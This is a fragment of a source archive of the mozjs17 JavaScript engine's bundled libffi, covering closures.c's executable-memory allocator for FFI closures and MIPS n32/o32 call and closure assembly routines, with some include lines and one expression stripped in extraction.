FFI_TYPE_UINT32 */ lwz r3, 56+0(r1) mtlr r0 addi r1, r1, 176 blr /* case FFI_TYPE_SINT32 */ lwz r3, 56+0(r1) mtlr r0 addi r1, r1, 176 blr /* case FFI_TYPE_UINT64 */ lwz r3, 56+0(r1) mtlr r0 lwz r4, 56+4(r1) b L..finish /* case FFI_TYPE_SINT64 */ lwz r3, 56+0(r1) mtlr r0 lwz r4, 56+4(r1) b L..finish /* case FFI_TYPE_STRUCT */ mtlr r0 addi r1, r1, 176 blr nop /* case FFI_TYPE_POINTER */ lwz r3, 56+0(r1) mtlr r0 L..finish: addi r1, r1, 176 blr #endif /* END(ffi_closure_ASM) */ mozjs17.0.0/js/src/ctypes/libffi/src/closures.c0000664000175000017500000004010612106270662021340 0ustar sstanglsstangl/* ----------------------------------------------------------------------- closures.c - Copyright (c) 2007 Red Hat, Inc. Copyright (C) 2007, 2009 Free Software Foundation, Inc Code to allocate and deallocate memory for closures. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #if defined __linux__ && !defined _GNU_SOURCE #define _GNU_SOURCE 1 #endif #include #include #ifndef FFI_MMAP_EXEC_WRIT # if __gnu_linux__ /* This macro indicates it may be forbidden to map anonymous memory with both write and execute permission. Code compiled when this option is defined will attempt to map such pages once, but if it fails, it falls back to creating a temporary file in a writable and executable filesystem and mapping pages from it into separate locations in the virtual memory space, one location writable and another executable. */ # define FFI_MMAP_EXEC_WRIT 1 # define HAVE_MNTENT 1 # endif # if defined(X86_WIN32) || defined(X86_WIN64) || defined(__OS2__) /* Windows systems may have Data Execution Protection (DEP) enabled, which requires the use of VirtualMalloc/VirtualFree to alloc/free executable memory. */ # define FFI_MMAP_EXEC_WRIT 1 # endif #endif #if FFI_MMAP_EXEC_WRIT && !defined FFI_MMAP_EXEC_SELINUX # ifdef __linux__ /* When defined to 1 check for SELinux and if SELinux is active, don't attempt PROT_EXEC|PROT_WRITE mapping at all, as that might cause audit messages. */ # define FFI_MMAP_EXEC_SELINUX 1 # endif #endif #if FFI_CLOSURES # if FFI_MMAP_EXEC_WRIT #define USE_LOCKS 1 #define USE_DL_PREFIX 1 #ifdef __GNUC__ #ifndef USE_BUILTIN_FFS #define USE_BUILTIN_FFS 1 #endif #endif /* We need to use mmap, not sbrk. */ #define HAVE_MORECORE 0 /* We could, in theory, support mremap, but it wouldn't buy us anything. */ #define HAVE_MREMAP 0 /* We have no use for this, so save some code and data. */ #define NO_MALLINFO 1 /* We need all allocations to be in regular segments, otherwise we lose track of the corresponding code address. */ #define DEFAULT_MMAP_THRESHOLD MAX_SIZE_T /* Don't allocate more than a page unless needed. */ #define DEFAULT_GRANULARITY ((size_t)malloc_getpagesize) #if FFI_CLOSURE_TEST /* Don't release single pages, to avoid a worst-case scenario of continuously allocating and releasing single pages, but release pairs of pages, which should do just as well given that allocations are likely to be small. */ #define DEFAULT_TRIM_THRESHOLD ((size_t)malloc_getpagesize) #endif #include #include #include #include #ifndef _MSC_VER #include #endif #include #include #if !defined(X86_WIN32) && !defined(X86_WIN64) #ifdef HAVE_MNTENT #include #endif /* HAVE_MNTENT */ #include #include /* We don't want sys/mman.h to be included after we redefine mmap and dlmunmap. */ #include #define LACKS_SYS_MMAN_H 1 #if FFI_MMAP_EXEC_SELINUX #include #include static int selinux_enabled = -1; static int selinux_enabled_check (void) { struct statfs sfs; FILE *f; char *buf = NULL; size_t len = 0; if (statfs ("/selinux", &sfs) >= 0 && (unsigned int) sfs.f_type == 0xf97cff8cU) return 1; f = fopen ("/proc/mounts", "r"); if (f == NULL) return 0; while (getline (&buf, &len, f) >= 0) { char *p = strchr (buf, ' '); if (p == NULL) break; p = strchr (p + 1, ' '); if (p == NULL) break; if (strncmp (p + 1, "selinuxfs ", 10) == 0) { free (buf); fclose (f); return 1; } } free (buf); fclose (f); return 0; } #define is_selinux_enabled() (selinux_enabled >= 0 ? selinux_enabled \ : (selinux_enabled = selinux_enabled_check ())) #else #define is_selinux_enabled() 0 #endif /* !FFI_MMAP_EXEC_SELINUX */ #elif defined (__CYGWIN__) #include /* Cygwin is Linux-like, but not quite that Linux-like. */ #define is_selinux_enabled() 0 #endif /* !defined(X86_WIN32) && !defined(X86_WIN64) */ /* Declare all functions defined in dlmalloc.c as static. */ static void *dlmalloc(size_t); static void dlfree(void*); static void *dlcalloc(size_t, size_t) MAYBE_UNUSED; static void *dlrealloc(void *, size_t) MAYBE_UNUSED; static void *dlmemalign(size_t, size_t) MAYBE_UNUSED; static void *dlvalloc(size_t) MAYBE_UNUSED; static int dlmallopt(int, int) MAYBE_UNUSED; static size_t dlmalloc_footprint(void) MAYBE_UNUSED; static size_t dlmalloc_max_footprint(void) MAYBE_UNUSED; static void** dlindependent_calloc(size_t, size_t, void**) MAYBE_UNUSED; static void** dlindependent_comalloc(size_t, size_t*, void**) MAYBE_UNUSED; static void *dlpvalloc(size_t) MAYBE_UNUSED; static int dlmalloc_trim(size_t) MAYBE_UNUSED; static size_t dlmalloc_usable_size(void*) MAYBE_UNUSED; static void dlmalloc_stats(void) MAYBE_UNUSED; #if !(defined(X86_WIN32) || defined(X86_WIN64) || defined(__OS2__)) || defined (__CYGWIN__) /* Use these for mmap and munmap within dlmalloc.c. */ static void *dlmmap(void *, size_t, int, int, int, off_t); static int dlmunmap(void *, size_t); #endif /* !(defined(X86_WIN32) || defined(X86_WIN64) || defined(__OS2__)) || defined (__CYGWIN__) */ #define mmap dlmmap #define munmap dlmunmap #include "dlmalloc.c" #undef mmap #undef munmap #if !(defined(X86_WIN32) || defined(X86_WIN64) || defined(__OS2__)) || defined (__CYGWIN__) /* A mutex used to synchronize access to *exec* variables in this file. */ static pthread_mutex_t open_temp_exec_file_mutex = PTHREAD_MUTEX_INITIALIZER; /* A file descriptor of a temporary file from which we'll map executable pages. */ static int execfd = -1; /* The amount of space already allocated from the temporary file. */ static size_t execsize = 0; /* Open a temporary file name, and immediately unlink it. */ static int open_temp_exec_file_name (char *name) { int fd = mkstemp (name); if (fd != -1) unlink (name); return fd; } /* Open a temporary file in the named directory. */ static int open_temp_exec_file_dir (const char *dir) { static const char suffix[] = "/ffiXXXXXX"; int lendir = strlen (dir); char *tempname = __builtin_alloca (lendir + sizeof (suffix)); if (!tempname) return -1; memcpy (tempname, dir, lendir); memcpy (tempname + lendir, suffix, sizeof (suffix)); return open_temp_exec_file_name (tempname); } /* Open a temporary file in the directory in the named environment variable. */ static int open_temp_exec_file_env (const char *envvar) { const char *value = getenv (envvar); if (!value) return -1; return open_temp_exec_file_dir (value); } #ifdef HAVE_MNTENT /* Open a temporary file in an executable and writable mount point listed in the mounts file. Subsequent calls with the same mounts keep searching for mount points in the same file. Providing NULL as the mounts file closes the file. */ static int open_temp_exec_file_mnt (const char *mounts) { static const char *last_mounts; static FILE *last_mntent; if (mounts != last_mounts) { if (last_mntent) endmntent (last_mntent); last_mounts = mounts; if (mounts) last_mntent = setmntent (mounts, "r"); else last_mntent = NULL; } if (!last_mntent) return -1; for (;;) { int fd; struct mntent mnt; char buf[MAXPATHLEN * 3]; if (getmntent_r (last_mntent, &mnt, buf, sizeof (buf))) return -1; if (hasmntopt (&mnt, "ro") || hasmntopt (&mnt, "noexec") || access (mnt.mnt_dir, W_OK)) continue; fd = open_temp_exec_file_dir (mnt.mnt_dir); if (fd != -1) return fd; } } #endif /* HAVE_MNTENT */ /* Instructions to look for a location to hold a temporary file that can be mapped in for execution. */ static struct { int (*func)(const char *); const char *arg; int repeat; } open_temp_exec_file_opts[] = { { open_temp_exec_file_env, "TMPDIR", 0 }, { open_temp_exec_file_dir, "/tmp", 0 }, { open_temp_exec_file_dir, "/var/tmp", 0 }, { open_temp_exec_file_dir, "/dev/shm", 0 }, { open_temp_exec_file_env, "HOME", 0 }, #ifdef HAVE_MNTENT { open_temp_exec_file_mnt, "/etc/mtab", 1 }, { open_temp_exec_file_mnt, "/proc/mounts", 1 }, #endif /* HAVE_MNTENT */ }; /* Current index into open_temp_exec_file_opts. */ static int open_temp_exec_file_opts_idx = 0; /* Reset a current multi-call func, then advances to the next entry. If we're at the last, go back to the first and return nonzero, otherwise return zero. */ static int open_temp_exec_file_opts_next (void) { if (open_temp_exec_file_opts[open_temp_exec_file_opts_idx].repeat) open_temp_exec_file_opts[open_temp_exec_file_opts_idx].func (NULL); open_temp_exec_file_opts_idx++; if (open_temp_exec_file_opts_idx == (sizeof (open_temp_exec_file_opts) / sizeof (*open_temp_exec_file_opts))) { open_temp_exec_file_opts_idx = 0; return 1; } return 0; } /* Return a file descriptor of a temporary zero-sized file in a writable and exexutable filesystem. */ static int open_temp_exec_file (void) { int fd; do { fd = open_temp_exec_file_opts[open_temp_exec_file_opts_idx].func (open_temp_exec_file_opts[open_temp_exec_file_opts_idx].arg); if (!open_temp_exec_file_opts[open_temp_exec_file_opts_idx].repeat || fd == -1) { if (open_temp_exec_file_opts_next ()) break; } } while (fd == -1); return fd; } /* Map in a chunk of memory from the temporary exec file into separate locations in the virtual memory address space, one writable and one executable. Returns the address of the writable portion, after storing an offset to the corresponding executable portion at the last word of the requested chunk. */ static void * dlmmap_locked (void *start, size_t length, int prot, int flags, off_t offset) { void *ptr; if (execfd == -1) { open_temp_exec_file_opts_idx = 0; retry_open: execfd = open_temp_exec_file (); if (execfd == -1) return MFAIL; } offset = execsize; if (ftruncate (execfd, offset + length)) return MFAIL; flags &= ~(MAP_PRIVATE | MAP_ANONYMOUS); flags |= MAP_SHARED; ptr = mmap (NULL, length, (prot & ~PROT_WRITE) | PROT_EXEC, flags, execfd, offset); if (ptr == MFAIL) { if (!offset) { close (execfd); goto retry_open; } ftruncate (execfd, offset); return MFAIL; } else if (!offset && open_temp_exec_file_opts[open_temp_exec_file_opts_idx].repeat) open_temp_exec_file_opts_next (); start = mmap (start, length, prot, flags, execfd, offset); if (start == MFAIL) { munmap (ptr, length); ftruncate (execfd, offset); return start; } mmap_exec_offset ((char *)start, length) = (char*)ptr - (char*)start; execsize += length; return start; } /* Map in a writable and executable chunk of memory if possible. Failing that, fall back to dlmmap_locked. */ static void * dlmmap (void *start, size_t length, int prot, int flags, int fd, off_t offset) { void *ptr; assert (start == NULL && length % malloc_getpagesize == 0 && prot == (PROT_READ | PROT_WRITE) && flags == (MAP_PRIVATE | MAP_ANONYMOUS) && fd == -1 && offset == 0); #if FFI_CLOSURE_TEST printf ("mapping in %zi\n", length); #endif if (execfd == -1 && !is_selinux_enabled ()) { ptr = mmap (start, length, prot | PROT_EXEC, flags, fd, offset); if (ptr != MFAIL || (errno != EPERM && errno != EACCES)) /* Cool, no need to mess with separate segments. */ return ptr; /* If MREMAP_DUP is ever introduced and implemented, try mmap with ((prot & ~PROT_WRITE) | PROT_EXEC) and mremap with MREMAP_DUP and prot at this point. */ } if (execsize == 0 || execfd == -1) { pthread_mutex_lock (&open_temp_exec_file_mutex); ptr = dlmmap_locked (start, length, prot, flags, offset); pthread_mutex_unlock (&open_temp_exec_file_mutex); return ptr; } return dlmmap_locked (start, length, prot, flags, offset); } /* Release memory at the given address, as well as the corresponding executable page if it's separate. */ static int dlmunmap (void *start, size_t length) { /* We don't bother decreasing execsize or truncating the file, since we can't quite tell whether we're unmapping the end of the file. We don't expect frequent deallocation anyway. If we did, we could locate pages in the file by writing to the pages being deallocated and checking that the file contents change. Yuck. */ msegmentptr seg = segment_holding (gm, start); void *code; #if FFI_CLOSURE_TEST printf ("unmapping %zi\n", length); #endif if (seg && (code = add_segment_exec_offset (start, seg)) != start) { int ret = munmap (code, length); if (ret) return ret; } return munmap (start, length); } #if FFI_CLOSURE_FREE_CODE /* Return segment holding given code address. */ static msegmentptr segment_holding_code (mstate m, char* addr) { msegmentptr sp = &m->seg; for (;;) { if (addr >= add_segment_exec_offset (sp->base, sp) && addr < add_segment_exec_offset (sp->base, sp) + sp->size) return sp; if ((sp = sp->next) == 0) return 0; } } #endif #endif /* !(defined(X86_WIN32) || defined(X86_WIN64) || defined(__OS2__)) || defined (__CYGWIN__) */ /* Allocate a chunk of memory with the given size. Returns a pointer to the writable address, and sets *CODE to the executable corresponding virtual address. */ void * ffi_closure_alloc (size_t size, void **code) { void *ptr; if (!code) return NULL; ptr = dlmalloc (size); if (ptr) { msegmentptr seg = segment_holding (gm, ptr); *code = add_segment_exec_offset (ptr, seg); } return ptr; } /* Release a chunk of memory allocated with ffi_closure_alloc. If FFI_CLOSURE_FREE_CODE is nonzero, the given address can be the writable or the executable address given. Otherwise, only the writable address can be provided here. */ void ffi_closure_free (void *ptr) { #if FFI_CLOSURE_FREE_CODE msegmentptr seg = segment_holding_code (gm, ptr); if (seg) ptr = sub_segment_exec_offset (ptr, seg); #endif dlfree (ptr); } #if FFI_CLOSURE_TEST /* Do some internal sanity testing to make sure allocation and deallocation of pages are working as intended. */ int main () { void *p[3]; #define GET(idx, len) do { p[idx] = dlmalloc (len); printf ("allocated %zi for p[%i]\n", (len), (idx)); } while (0) #define PUT(idx) do { printf ("freeing p[%i]\n", (idx)); dlfree (p[idx]); } while (0) GET (0, malloc_getpagesize / 2); GET (1, 2 * malloc_getpagesize - 64 * sizeof (void*)); PUT (1); GET (1, 2 * malloc_getpagesize); GET (2, malloc_getpagesize / 2); PUT (1); PUT (0); PUT (2); return 0; } #endif /* FFI_CLOSURE_TEST */ # else /* ! FFI_MMAP_EXEC_WRIT */ /* On many systems, memory returned by malloc is writable and executable, so just use it. */ #include void * ffi_closure_alloc (size_t size, void **code) { if (!code) return NULL; return *code = malloc (size); } void ffi_closure_free (void *ptr) { free (ptr); } # endif /* ! FFI_MMAP_EXEC_WRIT */ #endif /* FFI_CLOSURES */ mozjs17.0.0/js/src/ctypes/libffi/src/mips/0000775000175000017500000000000012106270662020304 5ustar sstanglsstanglmozjs17.0.0/js/src/ctypes/libffi/src/mips/n32.S0000664000175000017500000003426512106270662021044 0ustar sstanglsstangl/* ----------------------------------------------------------------------- n32.S - Copyright (c) 1996, 1998, 2005, 2007, 2009, 2010 Red Hat, Inc. MIPS Foreign Function Interface Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #define LIBFFI_ASM #include #include /* Only build this code if we are compiling for n32 */ #if defined(FFI_MIPS_N32) #define callback a0 #define bytes a2 #define flags a3 #define raddr a4 #define fn a5 #define SIZEOF_FRAME ( 8 * FFI_SIZEOF_ARG ) #ifdef __GNUC__ .abicalls #endif .text .align 2 .globl ffi_call_N32 .ent ffi_call_N32 ffi_call_N32: .LFB3: .frame $fp, SIZEOF_FRAME, ra .mask 0xc0000000,-FFI_SIZEOF_ARG .fmask 0x00000000,0 # Prologue SUBU $sp, SIZEOF_FRAME # Frame size .LCFI0: REG_S $fp, SIZEOF_FRAME - 2*FFI_SIZEOF_ARG($sp) # Save frame pointer REG_S ra, SIZEOF_FRAME - 1*FFI_SIZEOF_ARG($sp) # Save return address .LCFI1: move $fp, $sp .LCFI3: move t9, callback # callback function pointer REG_S bytes, 2*FFI_SIZEOF_ARG($fp) # bytes REG_S flags, 3*FFI_SIZEOF_ARG($fp) # flags REG_S raddr, 4*FFI_SIZEOF_ARG($fp) # raddr REG_S fn, 5*FFI_SIZEOF_ARG($fp) # fn # Allocate at least 4 words in the argstack move v0, bytes bge bytes, 4 * FFI_SIZEOF_ARG, bigger LI v0, 4 * FFI_SIZEOF_ARG b sixteen bigger: ADDU t4, v0, 2 * FFI_SIZEOF_ARG -1 # make sure it is aligned and v0, t4, -2 * FFI_SIZEOF_ARG # to a proper boundry. sixteen: SUBU $sp, $sp, v0 # move the stack pointer to reflect the # arg space move a0, $sp # 4 * FFI_SIZEOF_ARG ADDU a3, $fp, 3 * FFI_SIZEOF_ARG # Call ffi_prep_args jal t9 # Copy the stack pointer to t9 move t9, $sp # Fix the stack if there are more than 8 64bit slots worth # of arguments. # Load the number of bytes REG_L t6, 2*FFI_SIZEOF_ARG($fp) # Is it bigger than 8 * FFI_SIZEOF_ARG? daddiu t8, t6, -(8 * FFI_SIZEOF_ARG) bltz t8, loadregs ADDU t9, t9, t8 loadregs: REG_L t6, 3*FFI_SIZEOF_ARG($fp) # load the flags word into t6. and t4, t6, ((1< #include /* Only build this code if we are compiling for o32 */ #if defined(FFI_MIPS_O32) #define callback a0 #define bytes a2 #define flags a3 #define SIZEOF_FRAME (4 * FFI_SIZEOF_ARG + 2 * FFI_SIZEOF_ARG) #define A3_OFF (SIZEOF_FRAME + 3 * FFI_SIZEOF_ARG) #define FP_OFF (SIZEOF_FRAME - 2 * FFI_SIZEOF_ARG) #define RA_OFF (SIZEOF_FRAME - 1 * FFI_SIZEOF_ARG) .abicalls .text .align 2 .globl ffi_call_O32 .ent ffi_call_O32 ffi_call_O32: $LFB0: # Prologue SUBU $sp, SIZEOF_FRAME # Frame size $LCFI0: REG_S $fp, FP_OFF($sp) # Save frame pointer $LCFI1: REG_S ra, RA_OFF($sp) # Save return address $LCFI2: move $fp, $sp $LCFI3: move t9, callback # callback function pointer REG_S flags, A3_OFF($fp) # flags # Allocate at least 4 words in the argstack LI v0, 4 * FFI_SIZEOF_ARG blt bytes, v0, sixteen ADDU v0, bytes, 7 # make sure it is aligned and v0, -8 # to an 8 byte boundry sixteen: SUBU $sp, v0 # move the stack pointer to reflect the # arg space ADDU a0, $sp, 4 * FFI_SIZEOF_ARG jalr t9 REG_L t0, A3_OFF($fp) # load the flags word SRL t2, t0, 4 # shift our arg info and t0, ((1<<4)-1) # mask out the return type ADDU $sp, 4 * FFI_SIZEOF_ARG # adjust $sp to new args bnez t0, pass_d # make it quick for int REG_L a0, 0*FFI_SIZEOF_ARG($sp) # just go ahead and load the REG_L a1, 1*FFI_SIZEOF_ARG($sp) # four regs. REG_L a2, 2*FFI_SIZEOF_ARG($sp) REG_L a3, 3*FFI_SIZEOF_ARG($sp) b call_it pass_d: bne t0, FFI_ARGS_D, pass_f l.d $f12, 0*FFI_SIZEOF_ARG($sp) # load $fp regs from args REG_L a2, 2*FFI_SIZEOF_ARG($sp) # passing a double REG_L a3, 3*FFI_SIZEOF_ARG($sp) b call_it pass_f: bne t0, FFI_ARGS_F, pass_d_d l.s $f12, 0*FFI_SIZEOF_ARG($sp) # load $fp regs from args REG_L a1, 1*FFI_SIZEOF_ARG($sp) # passing a float REG_L a2, 2*FFI_SIZEOF_ARG($sp) REG_L a3, 3*FFI_SIZEOF_ARG($sp) b call_it pass_d_d: bne t0, FFI_ARGS_DD, pass_f_f l.d $f12, 0*FFI_SIZEOF_ARG($sp) # load $fp regs from args l.d $f14, 2*FFI_SIZEOF_ARG($sp) # passing two doubles b call_it pass_f_f: bne t0, FFI_ARGS_FF, pass_d_f l.s $f12, 0*FFI_SIZEOF_ARG($sp) # load $fp regs from args l.s $f14, 1*FFI_SIZEOF_ARG($sp) # passing two floats REG_L a2, 2*FFI_SIZEOF_ARG($sp) REG_L a3, 3*FFI_SIZEOF_ARG($sp) b call_it pass_d_f: bne t0, FFI_ARGS_DF, pass_f_d l.d $f12, 0*FFI_SIZEOF_ARG($sp) # load $fp regs from args l.s $f14, 2*FFI_SIZEOF_ARG($sp) # passing double and float REG_L a3, 3*FFI_SIZEOF_ARG($sp) b call_it pass_f_d: # assume that the only other combination must be float then double # bne t0, FFI_ARGS_F_D, call_it l.s $f12, 0*FFI_SIZEOF_ARG($sp) # load $fp regs from args l.d $f14, 2*FFI_SIZEOF_ARG($sp) # passing double and float call_it: # Load the function pointer REG_L t9, SIZEOF_FRAME + 5*FFI_SIZEOF_ARG($fp) # If the return value pointer is NULL, assume no return value. REG_L t1, SIZEOF_FRAME + 4*FFI_SIZEOF_ARG($fp) beqz t1, noretval bne t2, FFI_TYPE_INT, retlonglong jalr t9 REG_L t0, SIZEOF_FRAME + 4*FFI_SIZEOF_ARG($fp) REG_S v0, 0(t0) b epilogue retlonglong: # Really any 64-bit int, signed or not. bne t2, FFI_TYPE_UINT64, retfloat jalr t9 REG_L t0, SIZEOF_FRAME + 4*FFI_SIZEOF_ARG($fp) REG_S v1, 4(t0) REG_S v0, 0(t0) b epilogue retfloat: bne t2, FFI_TYPE_FLOAT, retdouble jalr t9 REG_L t0, SIZEOF_FRAME + 4*FFI_SIZEOF_ARG($fp) s.s $f0, 0(t0) b epilogue retdouble: bne t2, FFI_TYPE_DOUBLE, noretval jalr t9 REG_L t0, SIZEOF_FRAME + 4*FFI_SIZEOF_ARG($fp) s.d $f0, 0(t0) b epilogue noretval: jalr t9 # Epilogue epilogue: move $sp, $fp REG_L $fp, FP_OFF($sp) # Restore frame pointer REG_L ra, RA_OFF($sp) # Restore return address ADDU $sp, SIZEOF_FRAME # Fix stack pointer j ra $LFE0: .end ffi_call_O32 /* ffi_closure_O32. Expects address of the passed-in ffi_closure in t4 ($12). Stores any arguments passed in registers onto the stack, then calls ffi_closure_mips_inner_O32, which then decodes them. Stack layout: 3 - a3 save 2 - a2 save 1 - a1 save 0 - a0 save, original sp -1 - ra save -2 - fp save -3 - $16 (s0) save -4 - cprestore -5 - return value high (v1) -6 - return value low (v0) -7 - f14 (le high, be low) -8 - f14 (le low, be high) -9 - f12 (le high, be low) -10 - f12 (le low, be high) -11 - Called function a3 save -12 - Called function a2 save -13 - Called function a1 save -14 - Called function a0 save, our sp and fp point here */ #define SIZEOF_FRAME2 (14 * FFI_SIZEOF_ARG) #define A3_OFF2 (SIZEOF_FRAME2 + 3 * FFI_SIZEOF_ARG) #define A2_OFF2 (SIZEOF_FRAME2 + 2 * FFI_SIZEOF_ARG) #define A1_OFF2 (SIZEOF_FRAME2 + 1 * FFI_SIZEOF_ARG) #define A0_OFF2 (SIZEOF_FRAME2 + 0 * FFI_SIZEOF_ARG) #define RA_OFF2 (SIZEOF_FRAME2 - 1 * FFI_SIZEOF_ARG) #define FP_OFF2 (SIZEOF_FRAME2 - 2 * FFI_SIZEOF_ARG) #define S0_OFF2 (SIZEOF_FRAME2 - 3 * FFI_SIZEOF_ARG) #define GP_OFF2 (SIZEOF_FRAME2 - 4 * FFI_SIZEOF_ARG) #define V1_OFF2 (SIZEOF_FRAME2 - 5 * FFI_SIZEOF_ARG) #define V0_OFF2 (SIZEOF_FRAME2 - 6 * FFI_SIZEOF_ARG) #define FA_1_1_OFF2 (SIZEOF_FRAME2 - 7 * FFI_SIZEOF_ARG) #define FA_1_0_OFF2 (SIZEOF_FRAME2 - 8 * FFI_SIZEOF_ARG) #define FA_0_1_OFF2 (SIZEOF_FRAME2 - 9 * FFI_SIZEOF_ARG) #define FA_0_0_OFF2 (SIZEOF_FRAME2 - 10 * FFI_SIZEOF_ARG) .text .align 2 .globl ffi_closure_O32 .ent ffi_closure_O32 ffi_closure_O32: $LFB1: # Prologue .frame $fp, SIZEOF_FRAME2, ra .set noreorder .cpload t9 .set reorder SUBU $sp, SIZEOF_FRAME2 .cprestore GP_OFF2 $LCFI4: REG_S $16, S0_OFF2($sp) # Save s0 REG_S $fp, FP_OFF2($sp) # Save frame pointer REG_S ra, RA_OFF2($sp) # Save return address $LCFI6: move $fp, $sp $LCFI7: # Store all possible argument registers. If there are more than # four arguments, then they are stored above where we put a3. REG_S a0, A0_OFF2($fp) REG_S a1, A1_OFF2($fp) REG_S a2, A2_OFF2($fp) REG_S a3, A3_OFF2($fp) # Load ABI enum to s0 REG_L $16, 20($12) # cif pointer follows tramp. REG_L $16, 0($16) # abi is first member. li $13, 1 # FFI_O32 bne $16, $13, 1f # Skip fp save if FFI_O32_SOFT_FLOAT # Store all possible float/double registers. s.d $f12, FA_0_0_OFF2($fp) s.d $f14, FA_1_0_OFF2($fp) 1: # Call ffi_closure_mips_inner_O32 to do the work. la t9, ffi_closure_mips_inner_O32 move a0, $12 # Pointer to the ffi_closure addu a1, $fp, V0_OFF2 addu a2, $fp, A0_OFF2 addu a3, $fp, FA_0_0_OFF2 jalr t9 # Load the return value into the appropriate register. move $8, $2 li $9, FFI_TYPE_VOID beq $8, $9, closure_done li $13, 1 # FFI_O32 bne $16, $13, 1f # Skip fp restore if FFI_O32_SOFT_FLOAT li $9, FFI_TYPE_FLOAT l.s $f0, V0_OFF2($fp) beq $8, $9, closure_done li $9, FFI_TYPE_DOUBLE l.d $f0, V0_OFF2($fp) beq $8, $9, closure_done 1: REG_L $3, V1_OFF2($fp) REG_L $2, V0_OFF2($fp) closure_done: # Epilogue move $sp, $fp REG_L $16, S0_OFF2($sp) # Restore s0 REG_L $fp, FP_OFF2($sp) # Restore frame pointer REG_L ra, RA_OFF2($sp) # Restore return address ADDU $sp, SIZEOF_FRAME2 j ra $LFE1: .end ffi_closure_O32 /* DWARF-2 unwind info. */ .section .eh_frame,"a",@progbits $Lframe0: .4byte $LECIE0-$LSCIE0 # Length of Common Information Entry $LSCIE0: .4byte 0x0 # CIE Identifier Tag .byte 0x1 # CIE Version .ascii "zR\0" # CIE Augmentation .uleb128 0x1 # CIE Code Alignment Factor .sleb128 4 # CIE Data Alignment Factor .byte 0x1f # CIE RA Column .uleb128 0x1 # Augmentation size .byte 0x00 # FDE Encoding (absptr) .byte 0xc # DW_CFA_def_cfa .uleb128 0x1d .uleb128 0x0 .align 2 $LECIE0: $LSFDE0: .4byte $LEFDE0-$LASFDE0 # FDE Length $LASFDE0: .4byte $LASFDE0-$Lframe0 # FDE CIE offset .4byte $LFB0 # FDE initial location .4byte $LFE0-$LFB0 # FDE address range .uleb128 0x0 # Augmentation size .byte 0x4 # DW_CFA_advance_loc4 .4byte $LCFI0-$LFB0 .byte 0xe # DW_CFA_def_cfa_offset .uleb128 0x18 .byte 0x4 # DW_CFA_advance_loc4 .4byte $LCFI2-$LCFI0 .byte 0x11 # DW_CFA_offset_extended_sf .uleb128 0x1e # $fp .sleb128 -2 # SIZEOF_FRAME2 - 2*FFI_SIZEOF_ARG($sp) .byte 0x11 # DW_CFA_offset_extended_sf .uleb128 0x1f # $ra .sleb128 -1 # SIZEOF_FRAME2 - 1*FFI_SIZEOF_ARG($sp) .byte 0x4 # DW_CFA_advance_loc4 .4byte $LCFI3-$LCFI2 .byte 0xc # DW_CFA_def_cfa .uleb128 0x1e .uleb128 0x18 .align 2 $LEFDE0: $LSFDE1: .4byte $LEFDE1-$LASFDE1 # FDE Length $LASFDE1: .4byte $LASFDE1-$Lframe0 # FDE CIE offset .4byte $LFB1 # FDE initial location .4byte $LFE1-$LFB1 # FDE address range .uleb128 0x0 # Augmentation size .byte 0x4 # DW_CFA_advance_loc4 .4byte $LCFI4-$LFB1 .byte 0xe # DW_CFA_def_cfa_offset .uleb128 0x38 .byte 0x4 # DW_CFA_advance_loc4 .4byte $LCFI6-$LCFI4 .byte 0x11 # DW_CFA_offset_extended_sf .uleb128 0x10 # $16 .sleb128 -3 # SIZEOF_FRAME2 - 3*FFI_SIZEOF_ARG($sp) .byte 0x11 # DW_CFA_offset_extended_sf .uleb128 0x1e # $fp .sleb128 -2 # SIZEOF_FRAME2 - 2*FFI_SIZEOF_ARG($sp) .byte 0x11 # DW_CFA_offset_extended_sf .uleb128 0x1f # $ra .sleb128 -1 # SIZEOF_FRAME2 - 1*FFI_SIZEOF_ARG($sp) .byte 0x4 # DW_CFA_advance_loc4 .4byte $LCFI7-$LCFI6 .byte 0xc # DW_CFA_def_cfa .uleb128 0x1e .uleb128 0x38 .align 2 $LEFDE1: #endif mozjs17.0.0/js/src/ctypes/libffi/src/mips/ffitarget.h0000664000175000017500000001404112106270662022430 0ustar sstanglsstangl/* -----------------------------------------------------------------*-C-*- ffitarget.h - Copyright (c) 1996-2003 Red Hat, Inc. Target configuration macros for MIPS. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT 